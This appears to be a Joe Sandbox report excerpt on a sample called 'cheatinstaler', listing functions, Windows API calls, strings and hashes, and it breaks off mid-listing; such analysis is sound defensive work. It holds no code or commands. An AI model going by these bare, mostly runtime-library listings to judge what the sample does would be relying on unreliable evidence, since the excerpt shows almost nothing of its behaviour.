Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: NamePath$File_invalid_parameter_noinfo_noreturn$LongMoveShort$CompareCreateString
String ID: rtmp
API String ID: 3587137053-870060881
Opcode ID: 3dcc5890c2e22e4a5feb2ae31f1f4ae3f3b67a4ee4a7a529d594af89e49fc87b
Instruction ID: 62802d691b95bcea3dc670027573de9d91d1706899237e66538ca52dfa85ab60
Opcode Fuzzy Hash: 3dcc5890c2e22e4a5feb2ae31f1f4ae3f3b67a4ee4a7a529d594af89e49fc87b
Instruction Fuzzy Hash: 64F1C132B18A4291EF10EF6AD8901BD67A1EB963C5F500136EACDC3AA9DF3CD584D740

Function 00007FF6C16C5B60 Relevance: 12.3, APIs: 8, Instructions: 256COMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32 ref: 00007FF6C16C5BC2
GetFullPathNameW.KERNEL32 ref: 00007FF6C16C5C0E
GetFullPathNameW.KERNEL32 ref: 00007FF6C16C5D2B
GetFullPathNameW.KERNEL32 ref: 00007FF6C16C5D70
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16C5EE0
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16C5EE6
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16C5EEC
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16C5EF2

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: FullNamePath_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 1693479884-0
Opcode ID: 35b10314ce3b8e4c64707b679fc70269f3b9094245ec8e91ba41ccecbc270bb7
Instruction ID: 2659ecbc7e77a3144d755f54f8d5c771a0bec3d97419d68601c771d645ac7c22
Opcode Fuzzy Hash: 35b10314ce3b8e4c64707b679fc70269f3b9094245ec8e91ba41ccecbc270bb7
Instruction Fuzzy Hash: 71A1A062F14B5284FF009F7A9C541BC2761AF89BA5B149235DEED97BC9DE3CE0829240

Function 00007FF6C16E3170 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF6C16E318C
RtlCaptureContext.KERNEL32 ref: 00007FF6C16E31B9
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF6C16E31D3
RtlVirtualUnwind.KERNEL32 ref: 00007FF6C16E3214
IsDebuggerPresent.KERNEL32 ref: 00007FF6C16E3268
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF6C16E3289
UnhandledExceptionFilter.KERNEL32 ref: 00007FF6C16E3294

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: eb4060bcbbf6947450414bc0ac192b8da1feec02df413969c5a674799d26ef14
Instruction ID: c2902330ccee5b2e0289087822cd8905603ff7abb1b7b76b72f49d0ec68198ed
Opcode Fuzzy Hash: eb4060bcbbf6947450414bc0ac192b8da1feec02df413969c5a674799d26ef14
Instruction Fuzzy Hash: 67315072608B818AEB608FA1E8503ED7364FB84745F448539DACD87BA8DF38D658D710

Function 00007FF6C16E76D8 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF6C16E7751
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF6C16E7769
RtlVirtualUnwind.KERNEL32 ref: 00007FF6C16E77A4
IsDebuggerPresent.KERNEL32 ref: 00007FF6C16E77DD
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF6C16E77E7
UnhandledExceptionFilter.KERNEL32 ref: 00007FF6C16E77F2

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 5940ef1d6d2c32beaf7af9e8e0892e721e3d30544378453b8f42f9f5775f8da8
Instruction ID: 54fbc81325ca0b5a533812e316208b3e634a0e213783f662f5ab68eed4bbf69b
Opcode Fuzzy Hash: 5940ef1d6d2c32beaf7af9e8e0892e721e3d30544378453b8f42f9f5775f8da8
Instruction Fuzzy Hash: D8318136608B8185EB20CF66EC402AE73A4FB88755F500235EADD83B69DF38C655CB40

Function 00007FF6C16B1AA4 Relevance: 6.3, APIs: 4, Instructions: 285COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16B1EA9
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16B1EAF
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16B1EB5
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16B1EBB

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: 64d25151ef3fe23f20685aee3441bda27b372bcb0863407ca166e54c625fc733
Instruction ID: 523ebcd67e6c8757fe5726810a18e6e01a6f5527e9d77b6d250dfa38965a4746
Opcode Fuzzy Hash: 64d25151ef3fe23f20685aee3441bda27b372bcb0863407ca166e54c625fc733
Instruction Fuzzy Hash: A2B1D162B1468695EB109F66E8542ED2361FF86785F505231EACC87BDAEF3CD540E340

Function 00007FF6C16EFA94 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 164COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6C16EFAC4

Part of subcall function 00007FF6C16E7934: GetCurrentProcess.KERNEL32(00007FF6C16F0CCD), ref: 00007FF6C16E7961

Strings

., xrefs: 00007FF6C16EFEE4
*?, xrefs: 00007FF6C16EFAEB

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: CurrentProcess_invalid_parameter_noinfo
String ID: *?$.
API String ID: 2518042432-3972193922
Opcode ID: f96344909874f118cd7fc652812aee2de17a0b901a5c412331694f6fbd6e8fc4
Instruction ID: 0d2991e6c3cd52721d7b268985e19da28f094ac30b60bac0ffb610d03dc6ed54
Opcode Fuzzy Hash: f96344909874f118cd7fc652812aee2de17a0b901a5c412331694f6fbd6e8fc4
Instruction Fuzzy Hash: F9510162B14A9582EF10DFA39C100B963A0FF48BD9B5446B1DEDD87B88EF3CD5429340

Function 00007FF6C16BB6D8 Relevance: 4.5, APIs: 3, Instructions: 36windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,?,?,?,?,00007FF6C16BBA9D), ref: 00007FF6C16BB6E5
FormatMessageW.KERNEL32(?,?,?,?,?,?,?,00007FF6C16BBA9D), ref: 00007FF6C16BB719
LocalFree.KERNEL32(?,?,?,?,?,?,?,00007FF6C16BBA9D), ref: 00007FF6C16BB743

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: ErrorFormatFreeLastLocalMessage
String ID:
API String ID: 1365068426-0
Opcode ID: c27e05edbcf0c556cf9f4b9f4aa6354f64d9dc72ff0f252d3a2ededa039666af
Instruction ID: dd4e0f1304cd7fe22b942740362c0699eb8e06b63fa373520b1b0ce821d43970
Opcode Fuzzy Hash: c27e05edbcf0c556cf9f4b9f4aa6354f64d9dc72ff0f252d3a2ededa039666af
Instruction Fuzzy Hash: AC01FF7170C74282E7109F23B89067AA395FB89BC2F484034EADD87B49CE3CD515E744

Function 00007FF6C16EFCA0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 97COMMON

Download Yara Rule

Strings

., xrefs: 00007FF6C16EFEE4

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID:
String ID: .
API String ID: 0-248832578
Opcode ID: 7c9d8364e7b62915daf92aecf888b4814fe01b6aae5fc02ec6e7aa2f3019df5b
Instruction ID: 39ce3eec8c632e83e6e0c4bbc3ecb2317d87902ad35c6785dda300f7515ea214
Opcode Fuzzy Hash: 7c9d8364e7b62915daf92aecf888b4814fe01b6aae5fc02ec6e7aa2f3019df5b
Instruction Fuzzy Hash: F5310B22B0869146F7209E379C057B96A91AF94FE4F148375DEEC87BC5DE3CD6019340

Function 00007FF6C16DA2CC Relevance: 3.0, APIs: 2, Instructions: 46COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32 ref: 00007FF6C16DA315
GetNumberFormatW.KERNEL32 ref: 00007FF6C16DA371

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: FormatInfoLocaleNumber
String ID:
API String ID: 2169056816-0
Opcode ID: a0c8fcaef59427837b2a7c7753e3d717a8442860a15e47712294eddcbb527c28
Instruction ID: 8bb6bd93126ed2f4cc23e71975b52665b09cf22156725bfb087e64dc6405a013
Opcode Fuzzy Hash: a0c8fcaef59427837b2a7c7753e3d717a8442860a15e47712294eddcbb527c28
Instruction Fuzzy Hash: B2118926A08B8595E761CF22E8103EA7360FF88B85F844135DACC83769DF3CE285C744

Function 00007FF6C16C51A4 Relevance: 1.5, APIs: 1, Instructions: 30COMMON

Download Yara Rule

APIs

GetVersionExW.KERNEL32 ref: 00007FF6C16C51D5

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: Version
String ID:
API String ID: 1889659487-0
Opcode ID: 6220f8f0736b52f52a4f9f0684f7fcd1da0b773ba531a70ae5974f71c0de4052
Instruction ID: 87fa44934095c9cac42924ea135bd6b9bf5884547dce9d874aafaf881bcfcfdf
Opcode Fuzzy Hash: 6220f8f0736b52f52a4f9f0684f7fcd1da0b773ba531a70ae5974f71c0de4052
Instruction Fuzzy Hash: 96011775A086828AE724DF02E86077A37A2BB98316F600234E5DD83791DF3CE5009E10

Function 00007FF6C16F0D20 Relevance: 1.3, APIs: 1, Instructions: 7memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF6C16F0D24

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 4ce929ddb23f73c0a8458b43b9ad49d4d7e2a2f746430c3d48bba7e89996d797
Instruction ID: b55ff43e3593ebe6cda9f549b149de79449654801b769aa370b0863b7119834e
Opcode Fuzzy Hash: 4ce929ddb23f73c0a8458b43b9ad49d4d7e2a2f746430c3d48bba7e89996d797
Instruction Fuzzy Hash: 9AB09220E17A02C2EB482F526C9225422A8BF48702FA88078C18C81330DE2C24B65711

Function 00007FF6C16F58E0 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 20052d42666034676028b01d15d2cffdefdd266dec7e2dd0f98b8d8f07818195
Instruction ID: 3523ac9e02c5aac514e321283d69f5ca5e41c3026b2a3057fdf09ad3b9d833fd
Opcode Fuzzy Hash: 20052d42666034676028b01d15d2cffdefdd266dec7e2dd0f98b8d8f07818195
Instruction Fuzzy Hash: 40F06272B182958BDBA8CF2AA85262977D0FB08381F948039D6CDC3B04DA3CD4618F14

Function 00007FF6C16BD7D0 Relevance: 26.3, APIs: 1, Strings: 14, Instructions: 98COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16BD964

Strings

:$I30:$INDEX_ALLOCATION, xrefs: 00007FF6C16BD849
::$INDEX_ALLOCATION, xrefs: 00007FF6C16BD83E
::$REPARSE_POINT, xrefs: 00007FF6C16BD88B
:$EFS:$LOGGED_UTILITY_STREAM, xrefs: 00007FF6C16BD86A
::$FILE_NAME, xrefs: 00007FF6C16BD833
::$EA_INFORMATION, xrefs: 00007FF6C16BD828
::$OBJECT_ID, xrefs: 00007FF6C16BD880
::$ATTRIBUTE_LIST, xrefs: 00007FF6C16BD7FC
::$DATA, xrefs: 00007FF6C16BD812
::$INDEX_ROOT, xrefs: 00007FF6C16BD854
::$LOGGED_UTILITY_STREAM, xrefs: 00007FF6C16BD85F
::$EA, xrefs: 00007FF6C16BD81D
::$BITMAP, xrefs: 00007FF6C16BD807
:$TXF_DATA:$LOGGED_UTILITY_STREAM, xrefs: 00007FF6C16BD875

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID: :$EFS:$LOGGED_UTILITY_STREAM$:$I30:$INDEX_ALLOCATION$:$TXF_DATA:$LOGGED_UTILITY_STREAM$::$ATTRIBUTE_LIST$::$BITMAP$::$DATA$::$EA$::$EA_INFORMATION$::$FILE_NAME$::$INDEX_ALLOCATION$::$INDEX_ROOT$::$LOGGED_UTILITY_STREAM$::$OBJECT_ID$::$REPARSE_POINT
API String ID: 3668304517-727060406
Opcode ID: 036f0b4177b3bd4acf8be137eac01bdc749329f6e627dd372102b0288b9b6631
Instruction ID: d3ff8d6b3d3494a6ea2d8d858ae4ab0b82e240eb690b6e16b80a9dc189f1f98d
Opcode Fuzzy Hash: 036f0b4177b3bd4acf8be137eac01bdc749329f6e627dd372102b0288b9b6631
Instruction Fuzzy Hash: D241E676B05F0199EB009F62E8403E933A9EB48799F400276DADC87B69EF38D565D380

Function 00007FF6C16E2A10 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 61libraryloaderCOMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 00007FF6C16E2A26
GetModuleHandleW.KERNEL32 ref: 00007FF6C16E2A33
GetModuleHandleW.KERNEL32 ref: 00007FF6C16E2A48
GetProcAddress.KERNEL32 ref: 00007FF6C16E2A60
GetProcAddress.KERNEL32 ref: 00007FF6C16E2A73
CreateEventW.KERNEL32 ref: 00007FF6C16E2A9F
DeleteCriticalSection.KERNEL32 ref: 00007FF6C16E2AEB
CloseHandle.KERNEL32 ref: 00007FF6C16E2AFD

Strings

kernel32.dll, xrefs: 00007FF6C16E2A41
api-ms-win-core-synch-l1-2-0.dll, xrefs: 00007FF6C16E2A2C
SleepConditionVariableCS, xrefs: 00007FF6C16E2A56
WakeAllConditionVariable, xrefs: 00007FF6C16E2A66

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: Handle$AddressCriticalModuleProcSection$CloseCountCreateDeleteEventInitializeSpin
String ID: SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 2565136772-3242537097
Opcode ID: 6e1e709f092c3aabc6fb1c9db3d7c09c3ef1a4a7bf2af41e7ac9402dec2f511f
Instruction ID: bd94a898724056cbd30db7d25c2911b3d834675f9a3bb03be7a774397682efd2
Opcode Fuzzy Hash: 6e1e709f092c3aabc6fb1c9db3d7c09c3ef1a4a7bf2af41e7ac9402dec2f511f
Instruction Fuzzy Hash: 1D211B61A09A0381FF64DF67EC656B423A5AF44783F540238CDDE827A1DE3CE565A350

Function 00007FF6C16C6A0C Relevance: 16.2, APIs: 6, Strings: 3, Instructions: 444COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16C70A6

Part of subcall function 00007FF6C16B2004: std::_Xinvalid_argument.LIBCPMT ref: 00007FF6C16B200F

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16C70B2
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16C70B8
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16C70C4
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16C70D6
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16C70DC

Strings

\\?\, xrefs: 00007FF6C16C6A57, 00007FF6C16C6A66
DXGIDebug.dll, xrefs: 00007FF6C16C6A18
UNC, xrefs: 00007FF6C16C6BBF

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Xinvalid_argumentstd::_
String ID: DXGIDebug.dll$UNC$\\?\
API String ID: 4097890229-4048004291
Opcode ID: 56c6116d5534ddc5b4079fdeed8715d081fed04d0e9eb28ce3c332ce1ff1d7ed
Instruction ID: ede54a8e7f5e9a88aa50db0ef7e0017faddefa3f0885c3bc7993f3dca3525142
Opcode Fuzzy Hash: 56c6116d5534ddc5b4079fdeed8715d081fed04d0e9eb28ce3c332ce1ff1d7ed
Instruction Fuzzy Hash: 2512E162B08A4280EF10EF6AD4601AD6371EB85B89F504236DBDD87BE9DF3CD546D344

Function 00007FF6C16DA440 Relevance: 16.0, APIs: 7, Strings: 2, Instructions: 257COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6C16B129C: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6C16B1396

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16DA72F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16DA735
